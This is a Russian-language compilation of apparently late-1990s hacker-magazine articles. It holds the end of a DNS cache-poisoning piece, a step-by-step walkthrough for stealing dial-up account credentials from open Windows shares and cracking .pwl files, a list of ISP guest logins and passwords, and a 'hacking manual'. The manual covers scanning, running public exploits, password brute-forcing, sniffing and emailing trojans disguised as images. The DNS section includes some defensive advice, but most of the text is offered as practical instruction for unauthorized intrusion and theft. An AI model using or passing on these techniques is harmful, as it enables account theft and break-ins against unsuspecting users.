фазе атакующий посылает серверу ns.victim.com ложный ответ от имени ns.coolsite.com, который является ответственным за домен coolsite.com. В ложном ответе вместо реального IP-адреса www.coolsite.com указывается IP-адрес www.badsite.com. Сервер ns.victim.com кэширует полученную информацию, в результате чего в течении определенного промежутка времени (величина этого промежутка указывается в поле TTL ложного ответа и может произвольно выбираться атакующим) ничего не подозревающие пользователи вместо сервера www.coolsite.com попадают на www.badsite.com. Для того, чтобы ложный ответ был воспринят сервером ns.victim.com как истинный, достаточно выполнения четырех условий: · IP адрес отправителя ответа должен соответствовать IP-адресу запрашиваемого сервера (в нашем случае ns.coolsite.com); · UDP-порт, на который направляется ответ, должен совпадать с портом, с которого был послан запрос; · идентификатор ответа должен совпадать с идентификатором запроса; · ответ должен содержать запрашиваемую информацию (в нашем случае IP-адрес web-сервера www.coolsite.com). Очевидно, что выполнение первого и четвертого условий не представляет для атакующего особых трудностей. Со вторым и третьим условиями ситуация намного сложнее, поскольку в случае межсегментной атаки у атакующего нет возможности перехватить исходный запрос и "подсмотреть" необходимые параметры. Большинство используемых в настоящее время реализаций DNS-сервера (BIND4, MS DNS) используют для исходящих запросов 53 порт, так что можно "на удачу" послать ложный ответ на этот порт. Однако данный метод будет срабатывать не всегда, поскольку, например, BIND8 может использовать для исходящих запросов любой случайно выбранный непривилегированный порт. Идентификатор (id) запроса представляет собой двухбайтовое число, указываемое сервером в запросе с целью однозначной идентификации ответа на данный запрос. Это число инкрементируется с каждым новым запросом. Незнание текущего значения идентификатора приводит к необходимости посылки множества ложных ответов с различными значениями id. Именно это обстоятельство делает практическую реализацию данной атаки очень трудноосуществимой. Действительно, ложный ответ должен быть получен целевым сервером в промежуток времени с момента посылки запроса и до момента прихода ответа от настоящего сервера, что на практике составляет не более нескольких секунд. За этот интервал времени атакующему необходимо послать 216 ложных ответов со всеми возможными значениями id, а в случае незнания порта эта цифра увеличивается еще в несколько десятков раз. Поскольку размер IP-пакета, содержащего ложный ответ, составляет около 100 байт, то перед атакующим ставится задача пересылки нескольких мегабайт информации за несколько секунд, что в подавляющем большинстве случаев неосуществимо. 3. Метод определения номера порта и текущего идентификатора запроса При выполнении дополнительного условия даже в случае межсегментной атаки у атакующего есть возможность определения текущего id запроса и номера порта. Таким условием является наличие контролируемого атакующим DNS-сервера, ответственного за любой домен. Контроль над сервером в данном контексте означает возможность перехвата всех запросов, адресованных данному серверу. Это возможно либо если атакующий непосредственно владеет сервером (является его администратором), либо разделяет с ним общую физическую среду передачи (в случае ethernet это означает нахождение в одном коллизионном домене). Очевидно, что данное условие не является слишком жестким, поскольку нахождение в одном коллизионном домене с DNS-сервером достаточно типично для многих пользователей корпоративных сетей. При наличии контролируемого сервера описанная атака может быть модифицирована следующим образом. Предположим для определенности, что атакующий контролирует сервер ns.hacker.com, ответственный за домен hacker.com. В первой фазе атаки мы провоцируем сервер ns.victim.com на обращение к ns.hacker.com путем посылки рекурсивного запроса на поиск информации о любом имени (не обязательно реальном) в домене hacker.com. Поскольку ns.hacker.com находится под контролем атакующего, он может перехватить этот запрос и извлечь из него информацию о номере порта и текущем id. Последующие две фазы атаки не отличаются от описанных, с той лишь разницей, что теперь атакующему достаточно послать всего несколько ложных ответов, поскольку он точно знает номер порта и может с высокой степенью точности предсказать значение идентификатора запроса к ns.coolsite.com. 4. Метод косвенной провокации Очевидно, что необходимым условием успешности описанной атаки является возможность посылки рекурсивных запросов целевому серверу, провоцирующих его на обращение к другим серверам с целью поиска запрашиваемой информации. В принципе, существует возможность настроить DNS-сервер таким образом, что он будет принимать рекурсивные запросы только от "своих" клиентов (хостов, резолверы которых настроены на использование данного сервера). В этом случае осуществление атаки становится невозможным. С целью обхода этого ограничения можно предложить простой метод, который условно назовем "косвенной провокацией". Основная идея этого метода заключается в использовании любого общедоступного сервиса, являющегося клиентом целевого DNS-сервера, для формирования необходимого провоцирующего запроса. Наиболее подходящим кандидатом представляется общедоступный сервер электронной почты, который по определению должен принимать соединения с любого компьютера Internet. Предположим, что резолвер компьютера mail.victim.com настроен на использование сервера ns.victim.com, причем последний принимает рекурсивные запросы только от домена victim.com. Приведенный ниже SMTP-диалог провоцирует ns.victim.com на поиск информации о имени any-name.any-domain.com: $ telnet mail.victim.com 25 Trying... Connected to mail.victim.com. Escape character is '^]'. 220 mail.victim.com ESMTP Sendmail 8.8.0/8.8.0; Wed, 5 May 1999 21:30:42 helo I.am.cracker 250 mail.victim.com Hello crack.hacker.com [1.1.1.1], pleased to meet you mail from: user@any-name.any-domain.com 250 user@any-name.any-domain.com... Sender ok quit 221 mail.victim.com closing connection Connection closed. Таким образом, применение метода "косвенной провокации" позволяет осуществить атаку без прямой посылки запросов целевому DNS-серверу. 5. Как возникают эпидемии В обычных условия успешная атака приводит к "заражению" кэша конкретного сервера и область распространения ложной информации ограничивается только его клиентами. Однако при наличии ситуации "некорректного делегирования" (lame delegation), возникающей из-за ошибок администрирования, возможно распространение ложной информации на другие сервера, что приведет к глобальному "заражению". Под некорректным делегированием понимается ситуация, когда ответственность за домен делегируется серверу, не обладающему локальной копией доменной информации. Это приводит к тому, что в ответ на итеративные запросы других серверов вместо искомой информации он возвращает ссылки на другие сервера (иногда и на себя), которые, с точки зрения данного сервера, располагают нужными сведениями. Рассмотрим ситуацию, когда для домена victim.com существуют два ответственных сервера - ns.victim.com и ns2.victim.com, причем для ns2.victim.com делегирование выполнено некорректно. Применяя описанные методы, атакующий может "заразить" кэш сервера ns2.victim.com ложной информацией о именах в домене victim.com, например, подменить IP-адрес web-сервера www.victim.com на IP-адрес www.very-bad-site.com. Поскольку ns2.victim.com считается ответственным за домен victim.com, другие сервера в Internet будут обращаться к нему за информацией о именах в этом домене. Не располагая локальной копией доменной информации о victim.com, данный сервер будет возвращать в ответ ранее кэшированную ложную информацию, приводя к "заражению" всех обратившихся к нему серверов. Неприятной особенностью данного сценария является невозможность быстрой ликвидации последствий атаки, поскольку ложная информация будет находиться в кэшах тысяч серверов до истечения времени жизни, которое атакующий может выбрать очень большим. 6. Реализация и полевые испытания Программа, реализующая атаку на DNS-сервер с использованием контролируемого сервера, стала доступна в Internet примерно в феврале 1999 года. К счастью, использование этой программы не сводится к вводу в окошко IP-адреса целевого сервера и нажатию кнопки "Infect It!", а требует достаточно глубокого понимания принципов работы DNS, что сразу же отсеивает 99% потенциальных пользователей. Кроме того, в известной автору реализации сделано далеко не все для повышения вероятности успеха атаки. С целью обеспечения чистоты эксперимента "полевые испытания" были проведены на трех неподконтрольных автору корпоративных сетях. Естественно, администраторы этих сетей были поставлены в известность и не возражали против проведения эксперимента. Как это ни печально, во всех трех случаях атака была успешной. Диапазон целей, которые могут быть достигнуты при помощи атаки на DNS, простирается от "отказа в обслуживании" и подмены web-сайтов до перехвата сообщений электронной почты и полного контроля над информацией, передаваемой между произвольно выбранными хостами Internet. При всем этом атакующий практически не оставляет следов, поскольку ему нет необходимости посылать провоцирующие запросы и ложные ответы с собственного IP-адреса. 7. Взгляд с другой стороны баррикады По мнению автора, в настоящее время единственным надежным средством противодействия описанной атаке является использование стандартизированных в RFC2065 расширенных протоколов DNS, предусматривающих применение криптографических методов аутентификации доменной информации и субъектов сетевого взаимодействия. Базовая поддержка этого стандарта уже включена в текущую версию BIND8. К сожалению, желаемый результат может дать только широкомасштабное внедрение новых протоколов, которое сопряжено со значительными организационными трудностями и не может быть проведено за короткое время. Несколько затруднить осуществление атаки может запрет на обслуживание DNS-сервером рекурсивных запросов, поступающих не от "своих" клиентов. Это может быть сделано как средствами самого сервера (например, BIND8 обладает такими возможностями), так и средствами межсетевого экрана. Следует обратить внимание на настройку "антиспуффинговых" правил фильтрации на межсетевом экране, поскольку атакующий в качестве IP-адреса отправителя запроса может указать любой адрес, в том числе и легального клиента. При использовании данного метода не следует забывать, что подобная защита может быть достаточно легко преодолена использованием описанного метода косвенной провокации. Заключение В отличие от уже набивших оскомину атак, использующих "дыры" в конкретных реализациях сетевых сервисов, ошибки администрирования или методы "социальной инженерии", атака на DNS представляется автору очень изящной. В то же время по характеру и масштабности результатов данная атака вполне может быть причислена к информационному оружию массового поражения. Отсутствие адекватных средств защиты, очень слабо выраженные следы и трудность устранения последствий атаки еще больше усугубляют ситуацию. Несколько удивляет тот факт, что данная удаленная атака широко не применяется взломщиками (по крайней мере, автор не располагает такой информацией). Вполне возможно, это объясняется просто недостаточной квалификацией подавляющего числа людей, называющих себя хакерами. Сетевым администраторам остается только надеяться, что уязвимость протоколов DNS к данной атаке будет устранена прежде, чем они почувствуют на себе ее последствия.


Бесплатный Интернет

А знаешь ли ты, друг мой, о том, как хакеры "вытаскивают" твои драгоценные аккаунты прямо у тебя из-под носа? Существует достаточно много случаев, когда пользователь с удивлением для себя обнаруживает, что за его счет бродит по просторам Интернет кто-то еще и, естественно, тратит направо и налево его потом и кровью заработанные деньги. Обнаружив столь неприятное происшествие, он в ярости (или в недоумении - кто как) звонит в техподдержку своего провайдера и объясняет причину своего недовольства. Провайдер приносит свои соболезнования, но, к сожалению, ничем помочь не может, однако, предлагает сменить пользователю пароль и советует не допускать до компьютера тех людей, которые не достойны доверия. А самое главное, что тем людям, которые платят свои деньги за часы, проведенные в Интернет, провайдер не собирается возмещать ни денег, ни времени. Разочаровавшись и обвиняя во всех мнимых грехах техническую поддержку, ты размышляешь о том, как же этому гадскому хакеру удалось украсть твой аккаунт, и с обидой в душе на этот жестокий мир подумываешь о смене провайдера. Итак, каким же образом хакер смог "вытащить" твой аккаунт?
На сегодняшний день мне известны несколько методов, которые используют хакеры. Обычно многие юзеры, устанавливая Windows 95/98/NT под сети, предоставляют доступ к своим дискам и директориям другим пользователям сети, тем самым открывая лазейку в свой компьютер. Для того чтобы в сети найти компьютер с такой лазейкой, хакеру необходимо просканировать диапазон IP-адресов одной сетки. Что для этого нужно? Для Windows 95/98/NT - программа "Legion". После запуска этой программы нужно указать IP-адреса, которые будут использоваться для сканирования. Сначала хакер выбирает предполагаемого провайдера, услугами которого впоследствии он будет пользоваться. Например, это будет выдуманный нами провайдер www.lamerishe.ru. Запустив свой mIRC, он отправляется на всем знакомый IRC и в окошке "status" пишет: /whois *.lamerishe.ru

Ответ не заставит себя ждать:#RUSSIAN Andrey H andrey@dialup-28059.lamerishe.ru :0 hello.
*.junk.com
End of /WHO list.

Дальше следует команда: /dns Andrey
И mIRC выдает ему IP-шник жертвы:

*** Looking up dialup-28059.lamerishe.ru
*** Resolved dialup-28059.lamerishe.ru to 121.31.21.10

Вот он уже и знает один из ip-адресов (121.31.21.10) нашего выдуманного провайдера. Теперь нужно указать диапазон IP-адресов этого провайдера. Хакер запускает Legion и заполняет поля "Enter Start IP" (введите начальный IP) и "Enter End IP" (введите конечный IP).

Enter Start IP: 121.31.21.1
Enter End IP: 121.31.21.254

Остается только выбрать скорость соединения и нажать на кнопку "Scan". Если после сканирования, в правом окне сканера, появится что-то вроде "\\121.31.21.87\C", то в левом окне можно открыть этот IP и щелкнуть два раза на ответвлении "C". Появится сообщение "MAPPED ON DRIVE E:". Все это означает, что на данном IP есть машина, c незашаренным (то есть открытым для всех) диском С. И этот диск можно установить как еще один диск на своем компе. То есть у хакера на компе появится еще один диск (в данном случае - Е), по которому он будет лазить, как по своему собственному, хотя он и находится на удаленной машине. Конечно, главной целью для хакера является файл с расширением .pwl, в котором находится зашифрованный аккаунт. Этот файл лежит в каталоге Windows. И поэтому хакер заходит в «Пуск -> Программы -> Сеанс MS-DOS». Пишет там «e:» и нажимает Enter. Теперь он на жестком диске у чайника. Но каталог Windows может называться по-другому. Поэтому он пишет: E:\>dir win* и получает такой вот ответ:

Том в устройстве Е не имеет метки
Серийный номер тома: 2247-15D0
Содержимое каталога Е:\
WIN95 <КАТАЛОГ> 11-30-98 6:48p WIN95
0 файл(а,ов) 0 байт
1 каталог(а,ов) 287,997,952 байт свободно

Дальше следуют команды:

E:\>cd win95
E:\WIN95>dir *.pwl
Том в устройстве Е не имеет метки
Серийный номер тома: 2247-15D0
Содержимое каталога Е:\WIN95
ANDREY PWL 730 02-05-99 10:31p ANDREY.PWL
1 файл(а,ов) 730 байт
0 каталог(а,ов) 287,997,952 байт свободно
E:\WIN95>copy andrey.pwl c:\hacking\pwlhack

Теперь, после копирования файла с расширением .pwl, хакеру нужно отсоединиться от этого компьютера. Он открывает иконку "Мой компьютер", выбирает иконку E:\121.31.21.87\C нажав правую кнопку мыши. Там жмет "Отсоединить". Что теперь? А теперь он берет программу pwlhack (newdata2.box.sk/neworder/crackpwd/pwlhck32.rar) и с помощью нее расшифровывает добытый файл andrey.pwl.

C:\HACKING\PWLHACK>pwlhack.exe /list andrey.pwl andrey
(C) 17-Apr-1998y by Hard Wisdom "PWL's Hacker" v3.0 (1996,97,98)
Enter the password:
File 'ANDREY.PWL' has size 730 bytes, version [NEW_Win95_OSR/2]
for user 'ANDREY' with password '' contains:
-[Type]-[The resource location string]--------------[Password]-
Dial X *Rna\Соединение с lamerishe\L5tRe fsa3Xfa12
---------------------------------------------------------------
Indexed Entryes: 1; Number of resources: 1.

Настает кульминационный момент! Итак, теперь с помощью аккаунта, добытого у "чайника", хакер может лазить по просторам всемирной паутины Интернет. А вот и сам аккаунт:

Имя пользователя: L5tRe
Пароль: fsa3Xfa12

Если у данного провайдера можно посмотреть статистику прямо из Интернета, то, обычно, хакеры посещают сайт провайдера (в нашем примере www.lamerishe.ru) и смотрят, сколько осталось денег на счету у пользователя и в какое время он обычно находится в Интернете. Кстати, телефоны модемных пулов также можно узнать на сайте у провайдера. :)
Существует еще несколько иных способов, таких как использование троянов Netbus1.0, Netbus Pro 2.0, BackOrifice и т.д. Самый простой из всех способов заключается в том, что, зная IP-адрес с открытыми сетевыми ресурсами, можно соединиться с компьютером, нажав на Пуск, выбрав "Поиск компьютера" и указав IP-адрес.
«Все. Систему я понял. Теперь объясни-ка мне, как устранить лазейку и защитить себя от непрошеных гостей?» - скажешь ты. Хорошо. Для защиты от описанной выше дырки тебе будет необходимо отключить привязку (службу доступа к файлам и принтерам) от контроллера удаленного доступа (лезь в «Панель управления» -> «Сеть»), а в Windows NT нужно запретить службу Server в Remote Access WAN Wrapper. Но от НетБаса, БэкОрифиса и подобных троянов это тебя не спасет. А вот чтобы не подхватить трояна, во-первых, никогда не подпускай никого к своему компьютеры со всякими дискетками, а, во-вторых, никогда не запускай у себя на компе никаких прог, в которых ты хоть на грамм сомневаешься. Последним хакерским способом по рассылке троянов был массовый спаминг с хоста microsoft.com, где в каждом письме лежал якобы патч к 4-му IE. Ну, а что этот «патч» делал, я думаю, ты уже догадался. :)


Гостевые пароли провайдеров на доступ в Инет

Гостевые пароли провайдеров на дотуп в Инет

НэтМен
Телефон модемного пула 785-9984
Логин: netmen
Пароль: netmen

2COM Company
Условия Test login present. Information required.
31337

Ай-Пи-Си
Условия Доступ только по www.ipc.ru и www.unlim.ru
956-2059
login: guest
password: guest

CENTRAL TELEGRAPH
Условия Логин: guest@guest Пароль: guest
т. 504-1111, 745-4045
http://www.cnt.ru
http://dialup.cnt.ru

Ситек
Условия Пользователь может работать по тестовому логину и паролю, а именно login: sitek , password: sitek, для соединения с Ситек по протоколу PPP. Тестовый вход используется, чтобы проверить качество связи, просмотреть и изменить информацию о состоянии лицевого счета абонента, зарегистрировать карту доплаты. Он является полноправным соединением с Интернет с ограничением зоны доступных узлов. После соединения по одному из телефонов с провайдером, пользователю будут доступны следующие ресурсы: www.sitek.net, www.IP-phone.ru, www.jobs.ru, windoms.com, www.goldweb.ru, www.banners.ru. Одновременно под тестовым логином может работать только один человек.

НТХОСТ.Ру
Условия Login: demo
Password: test
Primary DNS: 212.16.0.1
Secondary DNS: 193.232.112.1
Телефоны доступа: (095) 956-3746, 234-9449

Вход под логином "demo" открыт круглосуточно. Одновременно возможен вход не более 5 пользователей с логином "demo". Доступ к Интернету под логином "demo" ограничен адресом: http://www.nthost.ru.

Caravan
Условия Тестовый доступ на АТС-332:
телефон: 332-4122
имя пользователя (Login): caravan
пароль: demo
Акция АТС-332!

Stream Line Communications
Условия login/pwd: guest/guest - tel: 334-1301

Гарант-Парк-Телеком
Условия Тел.: 789-3236, 931-6788
Login:guest Password:guest
Время доступа- 5 минут.
Можно попасть на guest.parkline.ru

Transinform
Условия login:demo
passwd:internet
tel. 719-3019, 719-1535,
262-7020, 971-5101
DNS:213.156.129.36
http://www.tsi.ru

Кросна-Интернет
Условия (095)742-53-09
login: test2000
password: demo

Ай-Пи-Си
Условия Доступ только по www.ipc.ru и www.unlim.ru
166-5511 .. 5517
login: guest
password: guest

ЗАО компания Магелан
Условия Для тестового входа используйте:
lodin: guest
pwd: magelan6

m-site
Условия login: demo passwd: demo Тел: 789-3003 http://www.msite.ru

Elvis-Telecom
Условия IP adress - назначается автоматически сервером
маска подсети - 255.255.255.0
Шлюз - 194.190.195.74
Имя домена - elvis.ru
Первичный DNS - 194.190.195.66
Вторичный DNS - 194.190.209.39
Login name для PPP соединения - pptest
Login name для SLIP соединения - iptest
Password - guest
755-9988, 974-6273, 745-2282, 745-4048
(www.telekom.ru).

Telecom-Service
Условия login: demo
password: demo
сайт: www.tsr.ru
ООО Институт информационных и анали
Условия Доступ только к локальному сайту компании ИИАТ, Ping и TraceRoute - по всему Интернету. CALL.

IPC
Условия 737-6699
login: guest
password: guest
Доступ только по http://www.ipc.ru

NewTech
Условия Tel: 956-3746
Loginname: demo
Password: test
DNS: 212.16.0.1
193.232.112.1
Вам доступен сервер: www.newtech.ru

SonNet
Условия Test login demo. Information required.

Rinet
Условия test dialup: login pprinet, password rinet,
site http://isp.rinet.ru/

INFOTEL
Условия Test login present

Adicom Internet
Условия phone: 7376201, DNS: 195.133.64.133, login: pppdemo, password:123abc, 10 минут в любое время суток

R-Consult
Условия Test login present. Information required.

MTU-Inform
Условия login: guest (PPP), dns: 195.34.32.11/10, proxy 195.34.32.11 port 3128. Registration http://dialup.mtu.ru

Cyberax
Условия Test login present. Information required.

"Zenon NSP"
Условия Test login present. Information required.

Top Technology Ltd.
Условия guest/guest

ILM Networks
Условия 792 5 791 Login:internet , Password:internet

Plug Communications
Условия Test login present. Information required.

ORC (Online Resource Center)
Условия BBS 939-0170

ENALS International, Ltd.
Условия Бесплатный круглосуточный

BITEX Telecom
Условия Только по нашему серверу. Логин и пароль по тел. 745-50-56.

AlmazTelecom (MBIT)
Условия http://www.alo.ru/guest.asp

ARSTEL
Условия Test login present. Information required.

Comintern
Условия login: test password: test

Avallon ISP
Условия Login: avallon Password: 9118373

TelecomBureau
Условия Предоставляется по просьбе абонента

Rutenia
Условия http://www.rutenia.ru/info/test.html

Mobile Express
Условия логин: demo, пароль: demo

Rinet
Условия terminal: login guest

Newcom Port
Условия login demo, password demo Доступ только к сети Ньюком Порт

GAMMA
Условия по запросу

Информация взята с сайта www.providers.ru


Полный мануал по взлому

Ты уже много раз читал на страницах Х реальные примеры того, как проводились разные взломы серваков. Все это мы старались преподнести в самых мельчайших и интимных подробностях. Но мне очень часто пишут, что мы даем только готовые решения, которые очень часто уже не работают к моменту выхода журнала в свет. Сегодня никаких готовых решений не будет. Тебе предстоит познакомиться с теорией взлома.

Лично я никогда не взламывал сайты в инете, потому что меня просто не удовлетворяет вандализм. Но зачем же тогда мне такие познания? Просто я увлекаюсь защитой систем, а самый лучший админ - это хакер. Точно так же можно сказать, что самый лучший хакер - это злой админ :).

Я написал эту статью в надежде, что она будет восприниматься как руководство по защите твоей собственности. Я пишу этот текст только в познавательных целях. Помни, что взлом не украшает человека и не ставит тебя автоматически в ряды элиты, хотя и таким образом тоже попадают в наши ряды. Я так же считаю своим долгом напомнить тебе про существование УК, в котором предусмотрены нехилые наказания за информационный вандализм.

Приступим:

Допустим, что у тебя есть какой-то сервер, который ты хочешь взломать или протестировать на защищенность от взлома. С чего нужно начинать? Что сделать в первую очередь? Сразу очень много вопросов и ни одного ответа.

Четкой последовательности действий нет. Взлом - это творческий процесс, а значит, и подходить к нему приходиться творчески. Нет определенных правил и нельзя все подвести под один шаблон. Зато есть несколько рекомендаций, которых желательно придерживаться.

Приступим:

Самое первое, с чего начинается взлом или тест системы на дырявость - сканирование портов. Для чего? А для того, чтобы узнать, какие сервисы/демоны установлены в системе. Каждый открытый порт - это сервисная программа установленная на сервере, к которой можно подключиться и выполнить определенные действия. Например, на 21-м порту висит FTP сервис. Если ты сможешь к нему подключиться, то тебе станет доступной возможность скачивания и закачивания на сервер файлов. Но это только если ты будешь обладать соответствующими правами.

Первое, что нужно просканировать - первые 1024 порта. Среди них очень много стандартных сервисов типа FTP, HTTP, Telnet и т.д. Все открытие порты - это дверь с замочком для входа на сервер. Чем больше таких дверей, тем больше вероятность, что какой-то замок не выдержит натиска и откроется.

У хорошего админа открыты только самые необходимые порты. Например, если это WEB-сервер не предоставляющий доступ к почте, то нет смысла держать сервисы почтовых серверов.

Хороший сканер портов не только говорит номер открытого порта, но и показывает название установленного на нем сервиса. Желательно, чтобы сканер умел сохранять результат своей работы в каком-нибудь файле. Если этой возможности нет, то придется переписать все вручную и положить на видное место. В дальнейшем тебе пригодиться каждая строчка твоих записей.

После этого можешь сканировать порты свыше 1024. Здесь стандартные сервисы встречаются редко. Зачем же тогда сканировать? А вдруг кто-то до тебя уже побывал здесь и оставил открытую дверку или протроянил сервак. Большинство троянов держат открытыми порты свыше 1024, поэтому если ты админ и нашел открытый порт с номером больше 1024, необходимо сразу насторожиться. Ну а если ты взломщик, то необходимо узнать имя трояна и найти для него клиентскую часть. На этом взлом может закончиться, потому что ты уже получил полный доступ к серваку без особых усилий :).

Определяем ОС:

Теперь мы знаем, какие двери у сервера открыты и чем мы можем воспользоваться. Но этого мало, потому что мы знаем какие есть двери, но не знаем, как их открыть.

Сканирование - это всего лишь самый начальный этап, который тебе еще ничего особенного не сказал. Самое главное перед взломом - определить, какая ОС стоит на серваке. Желательно знать и версию, но это удается не всегда, да и на первых парах изучения системы можно обойтись без конкретизации.

Для определения версии я могу посоветовать Shadow Scan. Не могу сказать, что она лучшая, но и к разряду худших отнести ее не имею права.

Помимо определения ОС, прога умеет определять версии установленных сервисов. Это тебе может очень сильно помочь. Допустим, что ты узнал, что на серваке установлен WEB-сервер. Ты даже узнал, что ОС именует себя как "Окошки". Ты можешь предположить, что WEB-сервер именует себя как IIS, но это предположение может тебя обмануть. Для окошек есть реализация сильнейшего сервера Apache. А так как взлом разных серверов производиться по разному, то тебя должно в первую очередь волновать, кто именно сидит на 80-м порту - IIS или Apache.

Единственный недостаток Shadow Scan - именно при определении версии ОС некоторые релизы Shadow Scan вылетали в синий экран. Но в последней версии этот баг вроде исправлен.

Адрес этой распрекрасной тулзы ты можешь найти во врезке "Download".

Юзаем порты :

Итак, теперь ты знаешь, какая на сервере установлена ОС, какие порты открыты, и какие именно серверы висят на этих портах. Вся эта инфа должна быть у тебя записана в удобном для восприятия виде, хоть в файле, хоть на бумаге.

Не ленись всю собранную инфу записывать и собирать в одну кучу. Помни, что даже компьютерные мозги иногда дают сбои, а человеческие делают это регулярно. Самое интересное, что чаще всего забывается самое необходимое. Ну а после взлома не поленись уничтожить, иначе ты облегчишь работу нашей доблестной милиции.

Все записал? Ну, на этом можно остановить взлом. У тебя есть достаточно инфы для простейшего взлома по уже пройденным другими хаксорами следам. Просто посещай регулярно www.securityfocus.com. Здесь ты должен поискать информацию о дырявости установленных на серванте жертвы сервисов и самой ОС. Уже давно известно, что большая часть серверов (по некоторым данным 70%, а по некоторым 90%) в инете просто не латаются. Поэтому проверь все найденные эксплоиты на жертве, возможно, что-то подойдет.

Если сервер хорошо залатан, то придется ждать появления новых дыр и експлоитов к установленным на сервере сервисам. Как только увидишь что-нибудь интересное, сразу качай експлоит и юзай свежую дырку, пока админ ее не залатал.

Тестирование безопасности :

Практически каждый день специалисты по безопасности находят в разных системах недочеты и откровенно говоря дыры или даже пробоины в системе безопасности. Все эти пробоины выкладываются в отчетах BugTraq на разных серверах. Я тебе уже посоветовал посещать www.securityfocus.com, чтобы следить за новостями, и сейчас не отказываюсь от своих слов. Новинки действительно надо смотреть на этом сервере, но ведь есть еще ворох старых дыр, которые могли быть, и не залатаны на сервере. Как же поступить с ними? Не ужели придется качать все эксплоиты и ручками проверять каждую пробоину? Ну конечно же нет. Существует громадное количество прог для автоматизации тестирования сервера на залатанность.

Ты думаешь я должен посоветовать тебе какую-нибудь определенную прогу? Нет, я этого делать не буду, потому что все программы хороши. Не существует такой тулзы, в которой была бы база абсолютно всех потенциальных дыр. Поэтому качай все, что попадется под руку. Возможно что-то тебе и пригодиться.

Взлом WWW-серванта :

При взломе WWW-серванта есть свои особенности. Если на сервере крутятся CGI страницы, то взлом такого серванта нужно начинать совершенно по-другому. Для начала нужно просканировать его на наличие дырявых CGI скриптов. Ты не поверишь, но опять же по исследованиям крутых дядек, в инете громадное количество скриптов дырявые.

Дырявость скриптов связана с тем, что для кодинга страничек используется Perl. Я ничего не имею против этого языка, но он сейчас достиг уровня универсала. На нем можно делать практически все, а не только форматировать текст. Поэтому в Perl очень много потенциально опасных функций. Но это не так страшно. Страшнее, когда ты можешь этим функциям передавать свои данные, когда скрипты не проверяют введенную пользователем инфу, а в чистом виде передают параметры в опасные функции.

Другие языки (PHP, ASP и др) тоже имеют потенциально опасные функции, просто там их или поменьше, или они имеют дополнительную защиту. Единственный более менее защищенный язык - Java, который очень сильно тормозит систему, из-за чего его не охотно используют WEB-мастера.

Я не собираюсь тебя лечить карявостью языков кодинга, потому что главная корявость - руки программера. Из-за громадной нехватки спецов в нашей любимой области, кодингом стали заниматься все кому не лень. Многие программеры самоучки даже не пытаются задуматься о безопасности. А тебе это только на руку.

И так, твоя главная задача - запастись парочкой хороших CGI-сканеров. Какой лучше? Ответ однозначный - ВСЕ. Даже в самом плохом сканере может оказаться инфа о такой уязвимости, о которой не известно даже самому крутому. А главное, что по закону подлости именно эта уязвимость окажется доступной на серваке. Мы очень много упоминали о разных сканерах на страницах журнала, и каждый хвалил свой вариант. Я советую тебе взять подшивку Х и скачать все сканеры, упоминавшиеся на наших страницах.

Серп и молот :

Там где не возможно взломать сервер с помощью мозгов, всегда можно воспользоваться чисто русским методом - серпом и молотом. Это не значит, что серп нужно представлять к горлу админа, а молотком стучать по макушке. Просто всегда можно воспользоваться тупым подбором паролей.

Давай снова обратимся к статистике. Все исследовательские конторы пришли к одному и тому же выводу, что большинство ушастых выбирают в качестве пароля имена своих любимых собачек, кошечек, даты рождения или номера телефонов. Так что хорошо подобранный словарь может сломать практически любую систему, потому что везде есть ламеры.

Ты до сих пор еще не веришь мне? Давай вспомним знаменитейший червь Морриса, который проникал в систему, взламывая ее по словарю. Словарь был достаточно маленький и состоял менее чем из ста слов. Помимо этого, червь использовал в переборе слова из словаря установленного в системе. Там тоже слов не так уж много. И вот благодаря такому примитивному алгоритму, червь смог поразить громаднейшее число компов и серваков. Это был один из самых массовых взломов!!!

Взлом по словарю очень часто используется для взлома мыльников, FTP паролей и другой чешуи. Но прежде чем приступать к такому взлому, советую хорошо отредактировать словари имен и паролей. Очень важно знать, какую систему ты взламываешь. Например, если это оконный сервер, то желательно, чтобы среди логинов был "Администратор". Ну а если это *nix система, то обязательно должен присутствовать "root", а все логины типа "Администратор" можно послать куда подальше.

Неплохо было бы вставить в словарь любые имена и пароли используемые по умолчанию для разных сервисов. Очень часто админы забывают или просто ленятся поменять пароли на сервисы, которые запущены, но они ими не пользуются. Эта лень очень часто проявляется у админов окошек и это связано с тем, что в окошках уровень знаний спецов намного ниже. Например, я очень много встречал MS SQL Server 7.0 c логином по умолчанию в "sa" и абсолютно без пароля. Наверно поэтому M$ собирается убрать этот логин уже в следующей версии своего сервера баз данных.

Для тупого перебора я опять могу посоветовать Shadow Scan (ну люблю я эту тулзу, что тут поделаешь). В нем есть очень хороший генератор словарей и реализованы подборщики по всем основным протоколам.

Взлом локалки :

В локалке есть свои особенности. Например, если она построена на основе коаксиала или витой пары соединенной через хабы, то весь сетевой трафик обязательно проходит через твою машину. Почему же ты его не видишь? Просто ОС и сетевуха сговорились и не показывает тебе чужой трафик. Но если очень сильно захотеть, то можно воспользовавшись снифером пронюхать все данные проходящие мимо твоей сетевой карточки.

Сейчас в сети можно скачать громадное количество сниферов и примочек к ним. Я опять не буду советовать тебе что-то конкретное, потому что лично я не могу выделить однозначного лидера среди сниферов.

Разные версии заточены под разные нужды, и тут нужно выбирать именно из этого соображения. Если ты конкретно ищешь пароли, то тебе нужен тот, что умеет выделять информацию о регистрации из общего трафика сети.

Троянус :

Самый тупой и самый ненадежный в отношении админов способ. Хотя админы и бывают ламерами, но на такие шутки уже никто не катит. Но кто сказал, что в сетке существуют только админы? Есть еще куча ламеров с большими привилегиями и маленькими мозгами. Вот именно их и надо троянить.

Как забрасывать троян? Самый распространенный способ - почтовый ящик. Просто даешь трояну какое-нибудь заманчивое имя и отправляешь письмо жертве. Если он запустит твой трой, то считай, что ты царь и бог на его компе. Теперь тебе будет доступно все, что может для тебя сделать твой боевой конь.

Какое дать имя, чтобы заинтересовать ламера? Очень просто, окна очень часто прячут расширения всех зарегистрированных в системе типов файлов. В этом случае, если ты назовешь файл как Anna_Kurnikova.jpg.exe, окна спрячут последнее расширение и любой лам подумает, что видит картинку. Для большей надежности, файл лучше всего назвать даже так: Anna_Kurnikova.jpg...........exe. В этом случае, если даже расширение не прячется по умолчанию, его все равно видно не будет.

Любое письмо с трояном желательно снабдить хорошим текстом, чтобы заинтересовать чела запустить находящийся в нем файл.

Итог :

Эта статья не претендует на полноту, но я постарался дать все необходимые начальные сведения. Просто нас очень часто упрекают, что мы забываем про начинающих, и очень часто грузят вопросами типа: "Как взломать сервант?". Теперь ты сможешь залезть в танк и катиться дальше вместе с нами.

